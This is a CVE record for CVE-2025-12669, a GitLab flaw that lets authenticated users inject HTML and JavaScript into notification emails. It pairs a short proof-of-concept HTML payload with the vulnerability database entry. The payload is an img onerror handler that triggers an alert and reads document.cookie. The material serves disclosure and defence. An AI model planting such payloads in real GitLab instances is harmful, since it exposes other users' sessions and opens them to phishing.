CVE-2025-12669

<!-- Proof of Concept for CVE-2025-12669 --> <!-- Attacker injects this payload into a GitLab field that triggers email notifications --> <div> <h3>Urgent Review Needed</h3> <!-- Attempting to execute JavaScript when the email is rendered --> <img src="x" onerror="alert('CVE-2025-12669 PoC Triggered'); console.log(document.cookie);"> </div>

{"cve": {"id": "CVE-2025-12669", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:19.370", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.11 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user to inject HTML and JavaScript into email notifications sent to other users due to improper input sanitization."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/579385", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3368096", "source": "[email protected]"}]}}